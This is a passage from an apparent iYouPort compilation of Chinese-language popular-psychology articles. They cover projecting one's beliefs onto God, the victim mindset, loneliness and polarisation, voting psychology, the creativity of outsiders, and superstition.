研究人员发现了一条相当一致的规律：人们自己的信念和他们推测的神的信念，比起他们推测的他人的信念，相关程度要更高。从堕胎、同性恋婚姻到死刑，犹太教、基督教徒自己的态度与他们认为上帝对此的态度，比起他们认为他人对此的态度，关系要密切得多。这些结果相当一致，但也只是相关，称不上因果。这条逻辑反过来说也完全可信：人们倾向于相信他们认为自己的上帝相信的事物。

更有力的证据来自神经影像学实验。请志愿者躺在功能磁共振成像仪（fMRI）上边，然后提出各种各样的社会议题，让志愿者就这些问题回答自己的看法、上帝的看法和美国人的普遍看法。

结果很清楚。当人们考量自己的看法和美国人的普遍看法时，神经活动出现了巨大的差异。当人们考量上帝的看法和美国人的普遍看法时，神经活动出现了同样的巨大差异。但最令人震惊的是，完全看不出来人们考量自己的看法和上帝的看法时，神经活动有什么不同。以扫描仪结果观之，考量上帝的看法和考量自己的看法是一模一样的。

然而，最令人信服的证据还在后边呢。研究人员又做了一组实验，先操纵了志愿者自己的信念，然后测量志愿者自身信念的改变如何影响他们对上帝和他人的信念的推测。在一组实验中，给志愿者展示了有关平权行动（affirmative action）的极具说服力的论证，既有肯定性的，也有否定性的。这些论证的确起了作用：读了肯定平权行动的人变得更倾向于持支持态度，而读了否定平权行动的人则变得倾向于反对。更重要的是，这种对志愿者自身信念的改变也导致他们改变了对上帝信念的估计，但却没有改变他们对他人信念的估计。人们用自己的形象塑造了神，此言不虚。

我非常支持信仰自由，尊重每一种信仰。从心理学角度上来说，信仰是一种心的秩序。如果一个人需要将道德指南针物化出来才能保持清醒冷静的话，信仰真的是很好的选择。

而本文只希望说明，谦卑一点没什么坏处 —— 当他人、神灵、开国元勋、律师团好像确实跟你站在一边时，也别太把自己当回事儿；别人的想法未知时，你揣摩出来的多半是自己的心意。

互联网的确不是个进行民主辩论的最佳场域，但互联网上真的没有那么多“傻13”，至少肯定不会比现实生活中更多，之所以看起来人们南辕北辙自说自话，绝大多数时候只是由于你我没能理解对方真实的意

思。■

感谢帮助 ***iYouPort***！

PayPal 捐赠渠道已开通 "//https://paypal.me/iyouport//"

原文

为什么有些人觉得自己永远都是受害者？ - iYouPort

心理学和社会学

希望这篇文章能对期待变革的社会有所帮助。反抗者不是受害者，而是创造者 —— 用一个新的更好的现实去取代那个旧的糟糕的世界

「图」

「图」

快速回答！用1 ~ 5的等级来评价您对下面这些问题的同意程度，1代表 “完全不同意”，5代表 “完全同意”：

- 对我来说更重要的是，伤害我的人能够意识到一个事实—— 我已经受到了不公正的待遇。
- 我觉得在和他人相处的过程中，我对待他人比他人对待我更有良知和道德。
- 当我身边的人觉得我的行为对他们造成了伤害时，我觉得很有必要说明，我才是对的。
- 我常常回想起别人对我的不公。

如果您在所有这些问题上都得了高分（4 ~ 5分），就可能具有心理学家所说的 “人际关系受害者倾向”。

社会生活总是含糊不清的

社会生活总是含糊不清。约会对象不一定会回复您的短信；当您对朋友微笑时，他们也不一定会对你微笑；陌生人有时脸上也会露出不高兴的表情 ……

问题是：你如何解读这些情况？

您会把所有这些都看成是“冲着你来的”吗？还是会考虑更有可能的情况，比如，你的朋友只是今天心情不好，新约会对象仍然对你有兴趣，只是想表现得酷一些，而街上的陌生人正因为某些私人的事情而生气，甚至没有注意到你的存在？

尽管大多数人都能够相对轻松地克服这些社交中含糊不清的状况，他们可以调节自己的情绪，并承认这是生活中不可避免的一部分；但是，有些人则倾向于将自己视为永久的受害者。

Rahav Gabay 和她的同事将这种人际关系受害者倾向定义为“一种持续不断的感觉相信自我是受害者，这种感觉在多种关系中被普遍化。因此，受害成为了个人身份的核心部分”。

那些具有永久受害者心态的人往往具有“外部控制中心”—— 他们认为一个人的生活完全受制于自我以外的力量，如命运、运气或他人的怜悯。

研究人员发现，人际受害者倾向主要有四个方面：#不断寻求对自己受害者身份的认同；

- 道德精英主义；
- 对他人的痛苦缺乏同理心；
- 频繁反思过去的受害者经历。

需要指出的是，研究人员并没有把经历创伤与具有受害心态等同起来。他们指出，受害者心态可以在没有经历过严重创伤或伤害的情况下发展。反之亦然，经历过严重的创伤并不一定意味着一个人会养成受害者心态。

然而，受害者心态和受害行为有相似的心理过程和结果。

同样，尽管受害心态的四个特征是处于个人层面上的（研究结果出自对以色列犹太人的样本研究）；因此，研究结果不一定适用于群体层面。

但是有文献表明，在集体层面上，两种受害者心态也有一些惊人的相似之处（将在下文指出）。

下面将深入了解一下永久受害者心态的一些主要特征。

受害者心态

1、不断寻求对自己是受害者身份的认同。

在这一方面得分高的人，永远需要让自己的痛苦得到承认。一般来说，这是对创伤的正常心理反应。经历创伤往往需要打破我们对“世界是一个公正和道德的地方的假设”。

承认自己的受害者身份是对创伤的正常反应，这有助于一个人重新建立对世界是一个公平和公正的生活场所的信心。

此外，受害者希望施暴者为他们的错误行为承担责任并表达负罪感，也很正常。对患者和治疗师的证词所进行的研究发现，确认病人具有创伤，这一点对进行创伤和受害的恢复治疗很重要。（可参见此处和此处）

2、道德精英主义。

那些在这个维度得分高的人认为只有自己站在道德的制高点，而其他人都是不道德的。道德精英主义可以通过指责他人不道德、不公平或自私，来控制他人。

道德精英主义往往是作为一种防御机制而发展起来的，用以抵御那些深度的痛苦，并成为了保持积极自我形象的一种方式。因此，那些处于困境中的人往往否认自己的攻击性和破坏性冲动，并将其投射到他人身上。“他人”被视为威胁，而自我则被视为受迫害的、易受伤害的、和道德上的优越。

虽然把世界简单地分成“圣人”与“恶魔”可能更容易保护自己不受痛苦，避免损害自我形象，但是，这种心态终会阻碍成长和发展，并忽略了洞悉自我和社会复杂性的能力。

3、对他人的痛苦和遭遇缺乏同情心。

在这一层面上得分高的人太专注于自己的受害者身份，以至于对他人的痛苦和折磨视而不见。

研究表明，刚刚受到委屈的人、或者想起自己曾经受到过委屈的人，会觉得自己有权利做出攻击性和自私的行为，无视他人的痛苦，将一切归于己有。

Emily Zitek 和她的同事认为，这类人可能会觉得自己受的苦已经够多了，所以他们不再觉得有义务去关心别人的痛苦和折磨。因此，他们放弃了帮助同类人的机会。

而在群体层面，研究表明，对群体内受害者的关注度增加，会降低对对手群体以及其他人的同情心。

甚至仅仅是对受害行为的暗示也会增加持续的冲突。这种心态会导致对对手的同情心降低。人们更倾向于尽可能降低对当前伤害的集体内疚。

事实上，关于“竞争性受害者”的研究表明，参与暴力冲突的群体成员更倾向于把自己是受害者的角色视为排他性的，并且倾向于最小化、贬低或完全否认对手的痛苦。（详细参见此处和此处）

一个群体如果完全专注于自己的痛苦，就会形成心理学家所说的“受害者的利己主义”，即 他们不能从对手群体的角度看问题，不能或不愿意同情对手群体的痛苦，尤其是，不愿意为自己群体造成的伤害承担任何责任。

4、经常回忆过去的受害经历。

那些在这方面得分高的人，会不断地反思和谈论自己在人际交往中所犯的过错、以及其原因和后果，而不是思考或讨论可能的解决方案。

这可能包括，在过去发生的攻击行为的基础上预期未来的攻击性行为。研究表明，受害者倾向于反复思考他们经历的人际过错，这种反复思考会增加寻求报复的动力，从而减少寻求宽恕的动力。

在群体层面的分析中，受害群体倾向于经常反思自己经历的创伤事件。例如，多年来，以色列犹太人学校课程、文化产品和政治话语中广泛存在的有关大屠杀的材料有所增加。虽然现代的以色列犹太人已经不是大屠杀的直接受害者，但以色列人越来越多地关注大屠杀，担心它可能再次发生。

它是一种民族主义凝聚力。就如中国对“落后就要挨打”的宣传，虽然当今时代很少有华人被歧视的现象，但你仍然能不断听到华人对被歧视的担心。

5、受害者心态的后果

在人际冲突中，各方都有保持积极的和道德的自我形象的动机。因此，不同的当事人很可能会产生两种截然不同的主观现实。

犯罪者倾向于淡化违法行为的严重性，而受害者则倾向于认为犯罪者的动机是专横、愚蠢和不道德的，而且认为其行为比实际上更为严

重。

因此，一个人作为受害者或作恶者所形成的心态，对人们感知和记忆情境的方式有着根本性的影响。加贝和她的同事们发现了三种主要的认知偏见，它们是人际受害者倾向的特征：解释偏见、归因偏见和记忆偏见。所有这三种偏见都会让人们不愿意原谅他人。

下面深入了解下这些偏见。

「图」

「图」

解释偏见

第一种解释偏见涉及对社会情境的冒犯性感知。人际关系受害倾向比较高的人认为，低严重程度的冒犯行为（如缺乏帮助）和高严重程度的冒犯行为（如对其诚信和人格的批评言论）都比较严重。

第二种解释偏见涉及到在模棱两可的情况下对伤害性的预期。那些在人际关系中更容易受到伤害的人也会更容易认为，在与部门的新经理见面之前对方不会那么关心自己，也不会那么愿意帮助自己。

伤害性行为的归因

那些有人际关系受害倾向的人也更有可能将某些消极意图归咎于犯罪者，也更有可能在伤害事件发生后感受到更大的消极情绪强度，持续时间也更长。

这些发现与研究结果一致，研究表明，人们对一场人际交往是否有害的认知，往往与他们对伤害性行为的感知有关。相较于那些在人际受害者倾向中得分较低的人，有人际关系受害者倾向的人更容易觉得自己遭受了冒犯，因为他们认为冒犯者有着更大的恶意。

记忆偏见

人际关系受害倾向较强的人也有较大的记忆偏见。他们会回忆起更多代表攻击性行为和伤害感的词汇（如“背叛”、“愤怒”、“失望”等等），也更容易回忆起消极情绪。

人际关系受害倾向认为自己与积极的解释、归因或积极情绪用词的回

忆无关，更具体的说法是，消极刺激激活了受害者心态。研究发现，在不同的心理情境中，反省往往会增加对事件的负面回忆和认识。

在群体层面，群体很可能承认并记住对他们影响最大的事件，包括本群体受到另一群体伤害的事件。

宽恕

研究人员还发现，那些在人际关系中很容易成为受害者的人，在受到伤害后不太愿意原谅对方，在逃避之余，表达了更强烈的报复欲望，实际上更有可能采取报复。

研究人员认为，回避倾向低的一个可能的解释是，在人际受害倾向中得分较高的人对认可的需求较高。重要的是，这一影响是通过认知视角来调节的，而认知视角与人际受害者倾向呈负相关。

在群体层面上也有类似的发现。强烈的集体受害感与较低的原谅意愿和较强的报复欲望有关。这一结论在不同的背景下都得到了证实，包括对大屠杀、北爱尔兰冲突、以巴冲突的思考。

心态的起源

受害者心态到底是从哪里来的？在个人层面上，肯定有许多不同的因素起到了作用，包括一个人过去真正的受害经历。

然而研究人员发现，焦虑的依恋型人格是人际关系受害倾向的一个特别强烈的前因。

焦虑依附型人格的人往往依赖于他人的认可和持续的肯定。出于对自身社会价值的怀疑，他们会不断寻求安慰。这导致了焦虑依赖的人以一种高度矛盾的方式看待他人。

一方面，焦虑型依恋的人倾向于预感自己会遭到他人的拒绝。另一方面，他们需要"依赖他人来验证自己的自尊心和价值"。

至于焦虑型依恋人格与人际受害倾向之间的直接联系，研究者指出，“从动机的角度来看，人际受害倾向似乎为焦虑依恋的个体提供了一个构建其与他人非稳定关系的有效框架，这包括争取他人的关注、同情和评价，同时更容易在人际关系中体验到困难的负面情绪并加以表达。”

在群体层面上，研究者指出了社会化过程在发展集体受害者心理中的潜在作用。就像人类的信仰一样，受害者心态是可以学习到的（参见此处和此处）。

通过许多不同的渠道，比如教育、电视节目和社交媒体，群体成员可以了解到，受害者心理可以被用作一种权力游戏，即便一方遭受了伤害，侵犯行为也可以是合法和公平的。

人们可能会了解到，将受害者心理内在化可以赋予他们凌驾于他人之上的权力，并保护他们免受在线骚扰和羞辱的任何后果，这些后果可能会强加于被感知的外群体成员。

「图」

「图」

从受害者走向成长

事实是，我们目前生活在这样一种文化中：许多政治和文化团体和个人都在强调自己的受害者身份，并一起参加“受害者奥运会”。《A Nation of Victims: The Decay of the American character》的作者 Charles Sykes 指出，这种现象部分源于群体和个人追求幸福和满足的权利。

在 Sykes 的基础上，研究人员指出：“当这些权利感与个人层面的高度受害倾向结合在一起时，社会变革斗争更有可能采取攻击性、贬低性的、和居高临下的形式。”

但问题是：如果社会化过程能给个人灌输一种受害者的心态，那么同样的过程肯定也能给人们灌输一种个人成长心态。

如果我们在年轻的时候就知道，我们遭受的创伤不一定要定义我们的人生呢？知道受害者身份不构成我们个人身份的核心？我们是否甚至会有可能从创伤中成长，成为一个更好的人，利用生活中的经验，努力向处于类似情况下的其他人灌输希望和可能性？

如果我们都认识到，我们可以在不仇恨他人的情况下保持对一个群体的自豪感，又会怎么样呢？如果我们认识到，期待别人的善意，那么自己也要友善一点呢？如果我们认识到，没有人有权得到一切，但我们都应被当作人来对待呢？

这将是一个相当大的范式转变，但它将与最新的社会科学一致，即永久的受害者心态使我们透过滤镜看待世界。一旦剥除那个滤镜，就能看到，“非我族类，其心必异”是不对的，我们群体中的每个人也都不是圣人。我们都是人，有着同样的潜在需求，即 归属感、被关注、被倾听、有人生意义。

尽可能清楚地看清现实，是实现持久变革的重要一步。在这条道路上的一个重要步骤就是，摆脱永久的受害者心态，做出更有成效的、更有建设性的、更有希望、更愿意与他人建立积极关系的事。〇

Unraveling the Mindset of Victimhood

原文

孤独之杀 - iYouPort

你如何正在被互联网所改变-媒介效应心理学和社会学

人们通过在政治光谱的另一边兜售对“他们”的蔑视来定位他们对“我们”的感觉

「图」

「图」

中国何尝不是如此？

根据医疗保健提供商 Cigna 最近进行的一项大规模调查，大多数美国人存在强烈的孤独感，人际关系中缺乏意义。近一半的人说他们有时或总是感到孤独或“被遗弃”。13% 的美国人说没有人知道他们。

该调查使用一种称为加州大学洛杉矶分校寂寞量表的常用措施来描绘社会孤独，结果表明每一代人的孤独感都在变得更糟。

在有线电视、意识形态专家、校园政治和社交媒体的被“孤立”世界中，美国的左翼和右翼的人们形成了两极分化的隔离感。从本质上讲，人们通过在政治光谱的另一边兜售对“他们”的蔑视来定位他们对“我们”的感觉。

为什么我们变得如此孤独？一个原因是工作性质的变化。工作是友谊和协作的主要来源之一。想想你自己的关系; 许多你最亲密的友谊—甚至是你与配偶的关系—会始于工作场所。然而，随着人们频繁地从一个工作岗位跳到另一个工作岗位，以及从一个城市搬到另一个城市，工作场所的现实正在迅速减弱，稳定的工作已经变得更难以找到。

Sasse 更担心的是无家可归的普遍感觉：太多的美国人没有一个能让他们认为是家的地方—一个亲密的社区，在这个社区中人们彼此了解并互相关注，投资于人际关系的努力并不是暂时性的。人们可能会说我们越来越缺乏“星期五晚上在家乡健身房的感觉”。

在一个遭受孤独的国家中，我们每个人都面临着挑战，而政治机会主义者一直在试图利用这种人际关系隔离。当我们成为我们希望拥有的亲切的邻居和慷慨的朋友时，我们每个人都会更快乐，整个社会将开始愈合。

- 关于社会孤独和时代焦虑，更多文章：《百忧解时代（一）变质的竞争和时代性焦虑》
- 《百忧解时代（二）数字世界里焦躁的“新”人类》
- 《百忧解时代（三）令人沉迷的广义化自杀》

How Loneliness Is Tearing America Apart. When people have a hole in their life, they often fill it with angry politics. there lies the challenge to each of us in a country suffering from loneliness and ripped apart by political opportunists seeking to capitalize on that isolation.

原文

投票心理学：行为成因分析 帮你抵制宣传的迷惑 - iYouPort

心理学和社会学

这篇文章写于上一次美国大选期间。现在更新到新网站恰逢再一次大选临近。希望它依旧能带来启示

「图」

「图」

本届美国大选可以算作史上最吸引中国舆论关注的一次？有媒体这样评价，我没有做调查，不过本届的中文舆论倒也着实丰富，且有不少舆论很惊人，缺乏民主经验的弊端明显。我很支持中文舆论参与到美国大选的辩论环境中来，即便暴露认知也无所谓，它是很好的锻炼。

关于究竟是什么在左右人们投票的选择这个问题，心理学对其做过几十年的研究。从早先局限于行为心理学和认知心理学，扩展到如今加入了经济学、情绪和情感等诸多领域的研究，基本可以确认，它很靠拢性情论，也就是说，中文舆论最主流的、基于两党各自的竞选宣传而判断结果的方法完全不切实际。

在具体解析之前不得不简单说明一下该研究的历史过程，因为很多中文舆论的认识尚且停留在它的最初阶段。

最早的投票行为研究有一个叫政治倾向指标（IPP）的东西，这种方法认为，只要知道选民的宗教、居住地点和其他基本社会特征，就可以事先相对准确地预测出投票结果——投票完全被看作是投票者生活的社会环境的一个函数。就在一个月前，某欧洲媒体的中文网网站还发表过一篇文章，其中提到该观点，它说：预测结果很简单，只需要在地图上从南到北划一条线，看一眼该选民的邮政编码就能猜个八九不离十。

我不完全否定这个方法，环境真的有很大的作用，人们需要被认同感，会下意识积极融入环境，就在上个月，我参与的一个主题是摄影

采风的团队活动里，最初只有4位坚定的希拉里支持者，半个多月后活动结束时，已经有近70%的人表示更喜欢希拉里，他们来自不同的州，其中包括摇摆州。但我也不完全认同这种彻底的情境论，因为它将所有投票者看作了本质上生活情境被动的接受者，这是不科学的。

后来，该理论加入了一个心理变量：政党认同，也就是说，投票者的选择不仅仅是社会或经济地位决定的。大部分美国选民在性格形成时期或少年时会对某个政党形成依恋，来自多方面的经历影响，除非发生非常剧烈的事情（比如战争、大萧条等），很难改变基础认知。

政党认同总是倾向于保持高度的稳定并抵制变化，心理标签“这是我的政党”。该理论认为，对很多人而言，选举中讨论的议题并没有受到政党所持立场的太大影响，一个高度认同某党派的人会倾向于筛去那些对该党派不利的信息，同时强化有利信息的获取和被重视。就如日前，很多人疑惑为什么Trump的粉丝对其私下不尊重女性的言论视而不见，而继续支持他，因为他们已经说服了自己，那些东西不过只是“boy talk（Trump夫人语）”。

该理论的一个重点基于认知失调，也就是说，当某个党派的高度认同者发现自己与该党派在很多议题上的观点高度不一致时，就会进入认知失调状态，投票者会积极的去平衡它，所采取的方式就是将不一致的信息解释为无关大雅，以及增加一些额外的信息来减少失调。

「图」

「图」

当近年来，政党认同理论的基础部分已经不是非常热门了，研究已经出现了一个更为清晰的趋向，因为调查显示，越来越少的投票者实际上拥有稳定而强烈的政党归属感，我们正在目睹一个发展中的“去联盟过程（dealignment）”。于是新理论产生：议题投票模型。

议题投票本质是两种方式：预期议题投票、和回溯议题投票，其中前者对选民的要求更多。假设一个选民在社会议题上是保守的，在经济议题上是自由的，在外交政策上是保守的，那么他将选择在这些问题上更为接近自己的政党（不可能完全吻合，只是更接近）。

回溯型的主要参数是，该政党在过去的执政阶段的表现，其中经济发展状况最为重要。可以认为回溯型比预期型更为理性，因为信息成本低很多。我们都知道，政治家可以违背自己的承诺，权衡他们在某议题上的立场完全不明智。中国舆论倾向于分析希拉里和特朗普各自会

如何处理美中关系这个问题，如同玩笑。

议题投票理论更为进化的结果是结合了认知心理学的假定，创立出性情论的理论，这种理论不需要依靠经济人（高度理性者）的假定，也不太需要从认知角度看政党认同。它认为，我们的决策只是基于少量的“所知”，随后利用这些情况来填补候选人的未知信息。

「图」

「图」

政治家们总是不断试图去激起选民心中的“积极图式”，即便他们可能只是由于直觉或民族心理所致，比如奥巴马在非裔美国人历史博物馆上的演讲，当时是Charlotte事件舆论最热的阶段，那段演讲基本把人们的情绪完全调动起来了，随后的民调显示，民主党支持率大涨。这只是个很小的案例，更好的例子是被美国政治研究者称为“肯尼迪图式”的东西。

对很多选民来说，理想的候选人应该是相对年轻、知识渊博、勇敢、思想开明、政治立场温和、非常聪明，并且具有演说天赋且身材迷人……这些品质现在很容易将其与John F. Kennedy（肯尼迪）联系在一起。比尔克林顿在参选中就使用了与肯尼迪握手的照片，2004年布什通过强调肯尼迪和克里“至少在两个方面不同”，而成功挫败了克里。

共和党的Trump无法使用这个图式，但他利用了另外一个经典，也就是林肯。日前他特别选择了葛底斯堡来做演讲，就是希望在选民心中激发林肯的形象，本网在政治宣传系列文章中分析过该经典级演讲的细节。图式是比较稳定的东西，它是一种基础认知模式，人们很难去揣摩林肯时代的共和党与当下完全不同这个基础信息。

拉回来，也就是说，这一理论认为投票者是在使用“少数宽泛标准”，而不是“具体信息”来判断候选人－－他们能超越既有信息。政治上成熟的投票者所拥有的图式排列更为丰富，这能使他们比见识较少的选民更好的做出判断。相关本次大选的中文舆论普遍突出政治不成熟感，这是比较危险的事，容易被诡狡的宣传所蒙骗。

「图」

「图」

最新的投票行为研究推出了两个理论来解释选民行为过程：基于在线

的视角（online-based）、和基于记忆的视角（memory-based）。对于前者，举个例子就能很明白了。半年前你看了一部电影，你心里知道自己很喜欢这部电影，可以称其为这半年内看过的最好的电影，如果我现在问你为什么喜欢它，你也许只能回忆起它一点点精彩的细节；或者你正在看的一部电影，一开始你很喜欢它，但看到一半发现不感兴趣了，后面就没看。再过很久之后，你能记起来的细节只是极少部分，最深刻的印象是自己喜欢还是不喜欢这种整体评价结果，选民评估候选人的过程就大致如此。

人们心里都有个流水账，或者叫它“判断账目”，它控制着我们对某个人的印象。我们可能无法回忆起究竟是什么令我们印象深刻，或者某次民意调查中自己为什么那样回复，但我们依然会记得回复的是什么。

这一理论与心理人的路径高度一致，因为它将人看作认知吝啬鬼——只能从记忆中找回整体的评估，却把用于构成这一评价的大量信息给抛弃了。也正是这样，它和基于记忆的视角（memory-based）构成了对立理论。

基于记忆的视角认为，选民获取新的政治信息时，会根据这一信息的显耀程度以及大脑信息的储存限度，决定是否将其储存在长时记忆里面——当需要做出判断时，人们会试图在长时记忆里面寻找吻合的东西，并结合追忆来做出判断，最终的意见是根据记忆中的信息作出的。

基于在线理论认为，随着选举临近，投票者的大脑会持续不断进行信息更新，候选人在临近期间的表现最为起效，太早前的信息部分会被隐藏，也就是对评估结论的影响减弱。Trump 将“选举被操纵”这个观点留到最后一次辩论中提出，就是这个原因，它直接损伤人们的社会知觉。

候选人的宣传深谙此道，他们一直在通过不断的研究将最新得出的理论实施在政治宣传上。而与此同时，选民们自己却大多不了解自己行为形成的原理，这种交锋是不平等的。媒体也在胡说，更不应该。

社交网络时代的人们更多会偏向“基于在线理论”所诠释的特征，互联网的副作用就是加强此在感，而削弱纵深感。互联网人的认知已经变得如同中世纪的农民一样局限，不约而同地固步自封在自己小世界中，导致年轻人看待当前议题时过于简单幼稚，容易被政客和媒体所操控。

总之，投票行为应该被认为是外部情势和内部性情因素互动的结果。很多近期的研究已经足够证实人们大脑中的认知和情感力量是如此的不容忽视。不断反思可以帮你走向政治成熟。〇

原文

特立独行的结果 …… 不合群有什么好处？ - iYouPort

心理学和社会学

一项社会科学研究表明，做一个怪人，或是与社会格格不入，可以激发非凡的创造力。这是真的吗？

「图」

「图」

根据比较公认的定义，我小时候是个很古怪的孩子。

我出生于一个俄罗斯犹太移民家庭，在美国得克萨斯州的米德兰长大，这里最为人所知的莫过于它曾经是乔治布什的故乡，也是小说《Friday Night Lights》及其同名电影的灵感来源。

我在还没上学的时候就因为吃点心前不做祷告而惹了麻烦；再长大一点，对于大家津津乐道的“超级碗”我完全不知道那是个什么东西。我与镇上的所有人格格不入，这让我觉得很无助。

即便当我们全家搬到达拉斯郊区后，我也没能遇到一个和我一样从俄罗斯移民过来的小孩。

我一个人坐车，每晚几乎都是形单影只。

我开始自言自语，很不幸这个习惯后来一直伴随着我。

有一次，有人在我们家外面糊满了卫生纸，我不得不向父母解释说这是美国小孩对失败者搞的恶作剧。我父亲并不为此感到困扰，反而急切地把卫生纸扯下来装在垃圾袋里，然后放到他们房间的浴室里储备着。“现在我们有免费的卫生纸用了！”晚饭时他高兴地说。

我只想做个普通人。我希望自己和同学们一样是个“美国人”；我希望当我向别人诉说自己的过去时，没有人会对其中的任何一段经历提出

疑问。

但是，随着时间的推移，我意识到与众不同也有好的一面。

实际上，一项社会科学研究表明，做一个怪人，或是与社会格格不入，可以激发非凡的创造力。

在约翰霍普金斯大学商学院教书的 Sharon Kim 告诉我，她时常注意到，有些人将他们的创造性的成就归功于自己是个特立独行的人或者说是个反叛者。

Kim 想知道被社会遗弃的人是否真的更具创造力，因此，她决定对这一理论进行试验。

她邀请了一些志愿者到她的实验室完成几项测试。在测试开始前，Kim 和同事们告诉一部分参与者：他们没有被选入“小组”。其实并没有所谓的 “小组”，Kim 和同事们不过是想让那些被试感觉自己被排除在外了。另一部分人没有受到同等的 “拒绝”。

Kim 要求参与者在纸上完成两项测试。其中一个是，让他们回答有什么可将一组看似没有关联的词联系在一起（比如，鱼、矿和热潮，答案是“金”）。另一个测试是，画一个外星人，需要来自一个与地球截然不同的星球。

结果显示，被 “拒绝” 过的人在两项测试中的表现都更加出色。

外星人那个题目中，没有被拒绝的参与者画的都是标准的卡通火星人，而被拒绝的参与者画的外星人则和人类极为不同—— 所有的身体部位都只长在一侧，或者是眼睛跑到了鼻子下面。

三位独立评委的判断认为，“遭到拒绝” 的参与者的画作更加具有创造力。

Kim 判断，由此看来，遭到拒绝和创造力之间是有联系的。而这种创造力优势仅在那些具备 “孤立自我意识” 的参与者身上出现，即：他们已经感觉到自己不属于某个群体。

也就是说，做一个怪人会让你的思维打开，不断涌现新想法。

「图」

「图」

对许多人来说，这一影响在童年时期就已经出现了。

布朗大学的精神病学家 Arnold M. Ludwig 在筹备《伟大的代价》（The Price of Greatness）一书时研究了1000多位杰出人物的生平，这些人包括 Frida Kahlo、Jean-Paul Sartre 和 John Lennon 。

他发现，相较于商人，艺术家、作家这类从事创造性职业的人，在幼年时期更容易被称为 “古怪或奇特” 的孩子；成人后，他们比公职人员或士兵更多地被视为 “另类”。

1962年，心理学家 Donald W. MacKinnon 对建筑师这个人群进行了研究，同样发现更加具有创造力的建筑师小时候常常搬家。

他说，“因此他们的邻里关系通常比较疏远。” 毫不意外的是，许多更有创造力的建筑师说自己小时候经常感觉很孤独。

一个不同寻常的童年并不是获得更多创造性的唯一来源。

如果你在所属的社会中被视为 “怪人”，同样能增强 “认知复杂度”—— 这是创造力的一个重要元素。

认知复杂度高的人通常能很好地应对不确定性，并且善于处理冲突性信息。他们经常能从多种角度看待问题。

堪萨斯大学的心理学教授 Chris Crandall 告诉我说，处于社会边缘的人更加敢于改变和革新社会规范。

他说：“现行规范是自下而上形成的”。“局外人” 不那么关心别人的看法，所以，他们可能会有更多尝试的余地。

事实上，人们不止一次地发现，那些并不怎么合群的人更具有打破常规的思维。

外国人经常受到异样的眼光，而被视为异类会在心理层面上带来好处。

那些生活在多种语言环境下的孩子—— 或许他们和我一样，在某国出生，又在千里之外的异国长大—— 更加能够理解大人的想法。并且总的来说，他们会成为更好的交流者。

一项实验发现，居住在国外的人尤其擅长另辟蹊径以解决文字问题和概念问题。这或许能说明为什么毕加索在巴黎开始尝试立体主义，

George Frideric Handel 在英国生活时写出了《弥赛亚》。

幸运的是，对于那些从未在国外生活过的人来说，这种创造力的提升也会发生在那些思维模式不同寻常的人身上。

在一项小型研究中，休斯敦大学的心理学助理教授 Rodica Damian 和同事邀请大学生们参与了一项虚拟现实测试。

在这个虚拟世界里，物理学原理失去了作用，物品不会坠落，反而会向上飞起。而另一个小组则在物理学原理都正常适用的情况下参与实验。

在回答 “是什么东西发出响声” 时，经历过否认物理学原理的小组的回答更具有创造性。

Damian 正在研究一种理论，即：所有不寻常的经历都可以提高创造力。

比如，在经历过奇妙旅行或极限冒险之后，人们通常会取得某种突破。

Damian 告诉我：“这背后的想法是，当你经历过违背常规准则和预期的事情之后，你会对这类事更加具有包容性。你知道了世界并不一定要按照常规出牌，所以你可以打破常规。”

当然，不总是越古怪越好。如果一些不太正常的事情发生在你身上，光是处理这些事就会耗尽你所有的精力。

比如说，一头灰熊闯入你的院子，毁掉了你的汽车，这是一件怪异的事，但你并不会迸发新的创造力，可能只会打电话给保险公司。

不论如何，试着从积极的角度去看待自己的古怪之处吧 —— 这一过程被称为认知重估 —— 它可以帮助你应对在被视为另类后遇到的困境。

把使你异常的东西重新定义为给你力量的东西，最终可能会让你更加快乐。

「图」

「图」

从不同寻常的角度看问题，还能提高你所属的更大群体的决策能力。

20世纪50年代，所罗门·阿希的著名实验揭示了从众偶尔会闹出笑话。

在这项实验中，参与者被告知要将一条线与另三条线中的一个进行匹配（其中两条线大小明显与第三条不同）。当小组中的其他人（实际上是实验团队人员）选择了错误的答案后，有三分之一的参与者也给出了错误答案。

这一实验是一个经典案例，显示了人们随大流的心态。当一个参与者后来被问到为什么这么选择时，他说，他担心被视为“异类”。也就是说，他不想被视为一个怪人。

但是，该实验还有一个不太为人所知的衍生版本，阿希在那个实验中引入了另一个变量。

这一次，实验团队的人中有一位给出了正确的答案，而剩下的仍然试图迷惑参与者。仅仅有一个不同于大多数的人，随大流的概率就下降了80%。

也许这些实验中的参与者觉得，就算是异类，至少这位持不同意见的人会和他们都被视作异类。

有趣的是，即便这位持不同意见者的答案是错误的，参与者也更少有可能随大流。这位持不同意见者似乎给了参与者表达不认同的“许可”。

多种观点对思维的发散作用在其他研究中也得到了证实，并且强调了人群多样化对打破现有观点的重要性。

根据一项针对说服力的研究表明，少数群体的观点之所以如此有力，是因为人们会因此更仔细地审视问题。

当我们听到了一个不同的观点，就会更客观对待现有的观点，这使得人们从不同角度看待问题。

相比之下，多数群体的观点会让我们局限于那些支持多数群体观点的数据。正如 Charlan Nemeth 和 Jack Goncalo 在《叛军成群》（Rebels in Groups）一书中所指出的那样，“少数群体激发了更多的原创性，而多数群体则激发了更多的思维常规性。”

然而，不幸的是，当人们不再“古怪”时，这些优势就消失不见了。

研究显示，当曾经的少数群体变成了多数群体，这些人的思维会变得更加封闭。

古怪自有优势，但没有什么是永久的古怪。

The Perks of Being a Weirdo

原文

解释无法解释的行为心理学：当逻辑失败，迷信到来 - iyouport

心理学和社会学

【2018年5月20日存档】事实证明，当我们身处没有明显模式的环境中时，大脑就会提升多巴胺水平，让我们变得更迷信。

先来做一个选择题。小明经常对男生充满性暗示地笑，且经常对男生做出亲密的肢体动作，试问下列哪一种可能性较高？1、小明是男性；2、小明是男同性恋

如果答案是2，这就是犯了合取谬误（conjunction fallacy）。男同性恋意味着是“男性”且是“同性恋”，无论如何，小明符合“男性”的机会，一定比符合“男性”又符合“同性恋”的概率更大。

同理，文中棒球手的迷信其实也与击球概率密不可分——迷信仪式（比如下体护具里放硬币）的产生一定和偶然的幸运相关。当然，从神经科学的角度来分析，还有一种让我们又爱又恨的物质与此有关：多巴胺。

启蒙运动时期，法国哲人伏尔泰称迷信为“疯女儿”，并将其与占星术作类比。这位引领时代的思想家倡导理性思考，力图用科学方法解释这个世界。

如今，我们用分析的方法接近这个世界的真实，并无疑以此为傲。面对疑难事件之时，我们挖掘其起因，并预测其结局。一旦可以确定某一步与后一步的因果关系，我们便能解释事件的起因，并预测未来在何种情况下这一事件会重现。这就让我们能了解、掌控事件的结果，做到心中有数。

